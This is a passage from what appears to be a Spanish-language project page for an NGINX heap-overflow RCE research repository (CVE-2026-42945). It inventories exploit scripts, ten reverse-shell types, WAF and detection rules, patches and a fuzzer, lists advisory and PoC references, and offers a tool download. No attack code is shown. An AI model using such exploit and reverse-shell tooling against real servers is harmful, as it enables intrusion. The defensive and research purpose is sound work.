Directorios13 (docker, exploit, shell, patches, configs, detection, fuzz, test, docs, tools, pipelines, .github/workflows, configs/advanced)
Scripts Python22 (exploit, detection, tools, shell, test)
Scripts Shell15 (detection, tools, shell, test, pipelines)
Parches5 (1 fix + 1 hardening + 3 backports)
Conjuntos de reglas WAF3 (ModSecurity, Suricata, Falco)
Configuración de CI1 (GitHub Actions — only CI)
Documentación9 documentos técnicos detallados
Muestras de configuración7 (4 vulnerable, 2 safe, 1 named capture + 3 advanced)
Registro de commits1003+ commits individuales
Tipos de shell10 (bash, python, nc, perl, ruby, php, socat, telnet, openssl, powershell)
Harness de fuzzing1 (libFuzzer, ~200 lines C)
Casos de prueba8 pruebas unitarias + lanzador shell
Versiones de NGINX cubiertas20 en la matriz de regresión
Ciclo de vida18 años (2008–2026)

20. Referencias

Oficiales

ReferenciaURL
Entrada NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-42945
Commit de correcciónhttps://github.com/nginx/nginx/commit/524977e7c534e87e5b55739fa74601c9f1102686
Aviso de F5https://my.f5.com/manage/s/article/K000161019
Registro de cambios de NGINXhttps://nginx.org/en/CHANGES

Investigación

ReferenciaURL
Investigación DepthFirsthttps://depthfirst.com/research/nginx-rift-achieving-nginx-rce-via-an-18-year-old-vulnerability
Repositorio PoChttps://github.com/DepthFirstDisclosures/Nginx-Rift
CWE-122https://cwe.mitre.org/data/definitions/122.html

Técnicas

RecursoDescripción
ngx_http_script.cEl archivo fuente con el fallo en el módulo de reescritura de NGINX
ngx_pool_cleanup_tLa estructura del heap corrompida para RCE
ngx_escape_uri()La función de expansión que causa el desbordamiento
setarch(8)Herramienta de Linux para deshabilitar ASLR para direcciones de explotación deterministas

Este proyecto es con fines educativos y de investigación defensiva en seguridad. La vulnerabilidad ha sido divulgada y corregida de manera responsable por los mantenedores de NGINX.

Descargar herramienta